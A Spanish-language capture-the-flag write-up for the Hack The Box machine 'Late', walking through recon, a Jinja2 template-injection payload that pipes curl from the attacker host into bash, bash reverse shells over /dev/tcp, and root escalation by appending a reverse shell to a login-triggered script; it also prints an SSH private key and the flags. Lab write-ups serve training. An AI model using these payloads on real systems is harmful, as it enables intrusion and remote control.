Late [EASYπ’]
Dificultad: FΓ‘cil
1- Reconocimiento y escaneo
1.1 Ping
1.1 Pingping -c 1 10.10.11.156βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# ping -c 1 10.10.11.156                                              
PING 10.10.11.156 (10.10.11.156) 56(84) bytes of data.
64 bytes from 10.10.11.156: icmp_seq=1 ttl=63 time=170 ms
--- 10.10.11.156 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 169.920/169.920/169.920/0.000 msPodemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)1.2 Nmap
1.2 Nmapnmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.156 -oN escaneo.txtβββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.156 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 19:18 -03
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.156 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 19:21 -03
Nmap scan report for 10.10.11.156
Host is up (0.18s latency).
Not shown: 65519 closed tcp ports (reset), 14 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.67 secondsEl puerto 80(nginx 1.14.0) correspondiente a un servidor web y el puerto 22(OpenSSH 7.6p1) correspondiente a un servidor SSH para control remoto mediante linea de comandos
1.3 whatweb
1.3 whatwebhttp://10.10.11.156 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], Email[#,support@late.htb], Google-API[ajax/libs/jquery/1.10.2/jquery.min.js], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.156], JQuery[1.10.2], Meta-Author[Sergey Pozhilov (GetTemplate.com)], Script, Title[Late - Best online image tools], nginx[1.14.0]Bosstrap 3.0.0
Nginx 1.14.0
JQuery 1.10.2
1.4 Virtual Hosting
1.4 Virtual HostingSi investigamos el sitio web, y bajamos abajo del todo, veremos un enlace en el que podremos acceder:

Ingresamos:

Veremos que no nos deja acceder, pero si miramos el enlace a donde nos llevo, veremos esto "https://images.late.htb/", lo cual podemos decir que se aplica un virtual hosting y tendremos que cambiar el archivo "/etc/hosts":
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# nvim /etc/hosts
                                                                                                                                                            
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# cat /etc/hosts 
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
       β File: /etc/hosts
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
   1   β 127.0.0.1   localhost
   2   β 127.0.1.1   kali
   3   β 
   4   β # HACK THE BOX
   5   β 10.10.11.156    images.late.htb
   6   β 
   7   β # The following lines are desirable for IPv6 capable hosts
   8   β ::1     localhost ip6-localhost ip6-loopback
   9   β ff02::1 ip6-allnodes
  10   β ff02::2 ip6-allrouters
ββββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
                                                                                                                                                            
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# Como podemos ver, el subdominio "images.late.htb" esta apuntando a la IP 10.10.11.156 que es la IP de la maquina objetivo, si ingresamos nuevamente:

Ahora el subdominio es funcional, se trata de un sitio web que con el subir una imagen, nos la convierte en texto, ya podemos ir sabiendo mas o menos por donde va la intrusiΓ³n de la maquina

Como podemos ver en la imgen, he subido una imagen que contiene el texto "Hola que tal", y la he subido a la pagina web, y me descargo automaticamente un archivo .TXT con lo que contiene en texto la imagen subida con el siguiente formato:
<p>Hola que tal
</p>2- ExplotaciΓ³n
2.1 SSTI (Server-Side Template Injection)
2.1 SSTI (Server-Side Template Injection)Como pudimos ver, nosotros al ingresar una imagen con texto, nos devuelve el mismo texto en formato de archivo .TXT con lo mismo, siempre que nosotros ingresemos algo en un sitio web y nos reporte lo mismo hay que pensar en un probable ataque SSTI
2.2 Reverse shell con SSTI
2.2 Reverse shell con SSTIPara eso vamos a utilizar un cΓ³digo en HTML que actuΓ© como payload y sacarle una captura de pantalla y mandΓ‘rselo a la web y luego que la web interprete ese HTML como cΓ³digo bash, en mi caso utilizare el siguiente cΓ³digo en Bash:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.12/443 0>&1Creo el archivo:
βββ(rootγΏkali)-[/home/t0mz/ctf/late/server]
ββ# nvim index.html
                                                                                                                                                            
βββ(rootγΏkali)-[/home/t0mz/ctf/late/server]
ββ# cat index.html 
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
       β File: index.html
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
   1   β #!/bin/bash
   2   β 
   3   β bash -i >& /dev/tcp/10.10.14.12/443 0>&1
ββββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
                                                                                                                                                            
βββ(rootγΏkali)-[/home/t0mz/ctf/late/server]
ββ# (En mi caso la reverse shell me la voy a enviar a mi maquina por la IP 10.10.14.12 que es la IP que me asigna la VPN de Hack The Box por la interfaz de red tun0)
Y levanto un servidor web:
βββ(rootγΏkali)-[/home/t0mz/ctf/late/server]
ββ# python3 -m http.server 80                                           
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Vamos a ponernos en escucha con netcat por el puerto 443 tambien, utilizando otra consola en Kali:
βββ(rootγΏkali)-[/home/t0mz/ctf/late/server]
ββ# nc -nlvp 443
listening on [any] 443 ...
Y la captura con el cΓ³digo que le vamos a pasar, utilizaremos el siguiente cΓ³digo:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('curl 10.10.14.12 | bash').read() }}
Como podemos ver, le estamos diciendo que haga un curl al sitio web que tenemos alojado con Python por el puerto 80, y que lo interprete como cΓ³digo Bash
Subimos la imagen:

βββ(rootγΏkali)-[/home/t0mz/ctf/late/server]
ββ# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.156 - - [11/Mar/2025 21:07:48] "GET / HTTP/1.1" 200 -
Podemos ver que la solicitud web se realizo correctamente
βββ(rootγΏkali)-[/home/t0mz/ctf/late/server]
ββ# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.156] 52016
bash: cannot set terminal process group (1412): Inappropriate ioctl for device
bash: no job control in this shell
svc_acc@late:~/app$ Y ya tenemos la reverse shell
2.3 Tratamiento de la TTY
2.3 Tratamiento de la TTYVamos a realizar el tratamiento de la TTY para obtener una shell como dios manda :)
"script /dev/null -c bash":
svc_acc@late:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
svc_acc@late:~/app$ CTRL + Z:
svc_acc@late:~/app$ ^Z
zsh: suspended  nc -nlvp 443
                                                                                                                                                            
βββ(rootγΏkali)-[/home/t0mz/ctf/late/server]
ββ# Y vamos a ejecutar el siguiente comando:
stty raw -echo; fgEjecutamos:
β― stty raw -echo; fg
[1]  + continued  nc -nlvp 443
Y ahora ejecutamos:
reset xtermEjecutamos y nos va a devolver a la reverse shell que obtuvimos:
svc_acc@late:~/app$ Ahora vamos a exportar XTERM como TERM y BASH como consola, como variables de entorno:
svc_acc@late:~/app$ export SHELL=bash
svc_acc@late:~/app$ export TERM=xterm
svc_acc@late:~/app$Para verificar que el tratamiento de la TTY se realizo correctamente, pondremos "echo $SHELL" o "echo $TERM":
svc_acc@late:~/app$ echo $SHELL
bash
svc_acc@late:~/app$ echo $TERM
xterm
svc_acc@late:~/app$ El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras
2.4 ObtenciΓ³n de la flag user
2.4 ObtenciΓ³n de la flag userLa flag de user se encuentra dentro de la ruta absoluta "/home/svc_acc/user.txt", vamos a visualizar la flag:
svc_acc@late:~/app$ cat /home/svc_acc/user.txt 
4c13b6b65a41741547099d6e1921d36e
svc_acc@late:~/app$ 3- Escalado de privilegios
3.1 BΓΊsqueda de archivos Bash del usuario svc_acc
3.1 BΓΊsqueda de archivos Bash del usuario svc_accVamos a realizar una bΓΊsqueda de archivos .SH que pertenezcan al usuario "svc_acc":
find / -user svc_acc 2>/dev/null | grep .shsvc_acc@late:~/app$ find / -user svc_acc 2>/dev/null | grep .sh
/home/svc_acc/.ssh
/home/svc_acc/.ssh/id_rsa
/home/svc_acc/.ssh/id_rsa.pub
/home/svc_acc/.ssh/authorized_keys
/home/svc_acc/.bashrc
/home/svc_acc/.local/share
/home/svc_acc/.local/share/nano
/home/svc_acc/.local/share/keyrings
/home/svc_acc/.local/share/keyrings/login.keyring
/home/svc_acc/.local/share/keyrings/user.keystore
svc_acc@late:~/app$ find / -user svc_acc 2>/dev/null | grep .sh
/home/svc_acc/.ssh
/home/svc_acc/.ssh/id_rsa
/home/svc_acc/.ssh/id_rsa.pub
/home/svc_acc/.ssh/authorized_keys
/home/svc_acc/.bashrc
/home/svc_acc/.local/share
/home/svc_acc/.local/share/nano
/home/svc_acc/.local/share/keyrings
/home/svc_acc/.local/share/keyrings/login.keyring
/home/svc_acc/.local/share/keyrings/user.keystore
/home/svc_acc/.local/lib/python3.6/site-packages/click/shell_completion.py
/home/svc_acc/.local/lib/python3.6/site-packages/click/__pycache__/shell_completion.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/middleware/shared_data.py
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/middleware/__pycache__/shared_data.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/less.png
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/FONT_LICENSE
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/more.png
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/ubuntu.ttf
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/style.css
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/debugger.js
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/source.png
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/console.png
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/ICON_LICENSE.md
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/commands/show.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/commands/hash.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/commands/__pycache__/hash.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/commands/__pycache__/show.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/utils/hashes.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/utils/__pycache__/hashes.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/chardet/__pycache__/langturkishmodel.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/chardet/langturkishmodel.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/html5lib/treewalkers/__pycache__/genshi.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/html5lib/treewalkers/genshi.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/html5lib/treeadapters/__pycache__/genshi.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/html5lib/treeadapters/genshi.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/distlib/_backport/shutil.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/distlib/_backport/__pycache__/shutil.cpython-36.pyc
/home/svc_acc/.bash_history
/usr/local/sbin/ssh-alert.sh
svc_acc@late:~/app$ Nos devuelve muchos archivos ".SH", y en la ultima linea nos encontramos con este archivo:
/usr/local/sbin/ssh-alert.sh3.2 ssh-alert.sh
3.2 ssh-alert.shVamos a ver que contiene este archivo Bash "ssh-alert.sh":
svc_acc@late:~/app$ cd /usr/local/sbin/
svc_acc@late:/usr/local/sbin$ cat ssh-alert.sh 
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
svc_acc@late:/usr/local/sbin$ Podemos ver que es un archivo .SH que alerta al usuario "svc_acc" sobre cada inicio de sesiΓ³n por SSH
Vamos a ver los permisos que tiene este archivo:
svc_acc@late:/usr/local/sbin$ ls -la
total 12
drwxr-xr-x  2 svc_acc svc_acc 4096 Mar 12 00:31 .
drwxr-xr-x 10 root    root    4096 Aug  6  2020 ..
-rwxr-xr-x  1 svc_acc svc_acc  433 Mar 12 00:31 ssh-alert.sh
svc_acc@late:/usr/local/sbin$ Tenemos permisos de lectura y ejecuciΓ³n, por lo que si se ejecutase este archivo, podrΓamos obtener acceso root, ya que el usuario svc_acc tiene permisos de ejecuciΓ³n, pero no tenemos permisos de escritura
Ahora vamos a ver los atributos que tenemos sobre este archivo:
svc_acc@late:/usr/local/sbin$ lsattr ssh-alert.sh 
-----a--------e--- ssh-alert.sh
svc_acc@late:/usr/local/sbin$ Tenemos permisos para agregar cosas sobre el archivo
Por lo que podrΓamos realizarle un "echo" y con ">>" al final, indicarle que queremos agregar algo al final del archivo, pero antes, nosotros sabemos que este archivo se ejecuta cada vez que alguien se conecta vΓa SSH, por lo que podrΓamos  conseguir la clave publica "id_rsa" del usuario "svc_acc" para conectarnos vΓa SSH y conseguir que se ejecute el archivo "ssh-alert.sh"
Sabiendo esto, primero vamos por partes, vamos a agregar al archivo "ssh-alert.sh" un codigo bash para enviarnos una reverse shell, el mismo cΓ³digo que utilizamos para obtener la reverse shell con el usuario "svc_acc":
bash -i >& /dev/tcp/10.10.14.12/888 0>&1Vamos a agregarlo al archivo "ssh-alert.sh" con "echo":
(Vamos a abrir la reverse shell por el puerto 888)
echo "bash -i >& /dev/tcp/10.10.14.12/888 0>&1" >> ssh-alert.sh ssh-alert.sh usr/local/sbin$ echo "bash -i >& /dev/tcp/10.10.14.12/443 0>&1" >> 
svc_acc@late:/usr/local/sbin$ 
svc_acc@late:/usr/local/sbin$ cat ssh-alert.sh 
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
bash -i >& /dev/tcp/10.10.14.12/888 0>&1
svc_acc@late:/usr/local/sbin$ Vemos que se agrego en el archivo "ssh-alert.sh"
Ahora vamos a conseguir la clave publica "id_rsa" para conectarnos vΓa SSH con el usuario "svc_acc" sin contraseΓ±a, la clave se encuentra dentro la ruta absoluta "/home/svc_acc/.ssh/id_rsa":
svc_acc@late:/usr/local/sbin$ cat /home/svc_acc/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7
7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM
fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0
ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz
W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ
uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC
T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH
Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi
WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng
Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7
t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq
0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE
uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y
3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ
GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F
ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb
Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr
kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
svc_acc@late:/usr/local/sbin$ Vamos a copiarla y a guardarnosla en un archivo llamado "id_rsa":
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# touch id_rsa                          
                                                                                                                                                            
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# nvim id_rsa    
                                                                                                                                                            
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# cat id_rsa     
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
       β File: id_rsa
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
   1   β -----BEGIN RSA PRIVATE KEY-----
   2   β MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
   3   β HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
   4   β bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
   5   β /mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
   6   β d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7
   7   β 7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM
   8   β fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0
   9   β ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz
  10   β W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ
  11   β uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC
  12   β T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH
  13   β Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi
  14   β WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng
  15   β Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7
  16   β t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq
  17   β 0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE
  18   β uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y
  19   β 3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ
  20   β GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F
  21   β ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb
  22   β Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr
  23   β kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
  24   β Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
  25   β K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
  26   β kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
  27   β -----END RSA PRIVATE KEY-----
ββββββββ΄ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
                                                                                                                                                            
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# Vamos a conectarnos por SSH para verificar si ya podemos conectarnos sin contraseΓ±a con el usuario "svc_acc":
Vamos a darle permisos al archivo "id_rsa" que acabamos de crear:
chmod 600 id_rsaβββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# chmod 600 id_rsa     
                                                                                                                                                            
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# Y vamos a conectarnos:
ssh svc_acc@10.10.11.156 -i id_rsa βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# ssh svc_acc@10.10.11.156 -i id_rsa 
The authenticity of host '10.10.11.156 (10.10.11.156)' can't be established.
ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.156' (ED25519) to the list of known hosts.
svc_acc@late:~$ Nos deja, asi que vamos a salirnos de esta sesiΓ³n de SSH y vamos a ponernos en escucha con netcat por el puerto 888:
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# nc -nlvp 888                      
listening on [any] 888 ...
Y vamos a conectarnos otra vez por SSH con el usuario "svc_acc":
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# ssh svc_acc@10.10.11.156 -i id_rsa 
Se quedo cargando, pero si volvemos a la consola donde teniamos netcat en escucha por el puerto 888:
βββ(rootγΏkali)-[/home/t0mz/ctf/late]
ββ# nc -nlvp 888                      
listening on [any] 888 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.156] 38756
bash: cannot set terminal process group (4505): Inappropriate ioctl for device
bash: no job control in this shell
root@late:/# Somos usuarios root
3.3 ObtenciΓ³n de la flag root
3.3 ObtenciΓ³n de la flag rootLa flag de root, se encuentra dentro del directorio "/root/root.txt":
root@late:/# cat /root/root.txt
cat /root/root.txt
37beb73764dc3d0077e4d393bae7e98f
root@late:/# Con esto, concluimos la maquina "Late" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Γltima actualizaciΓ³n

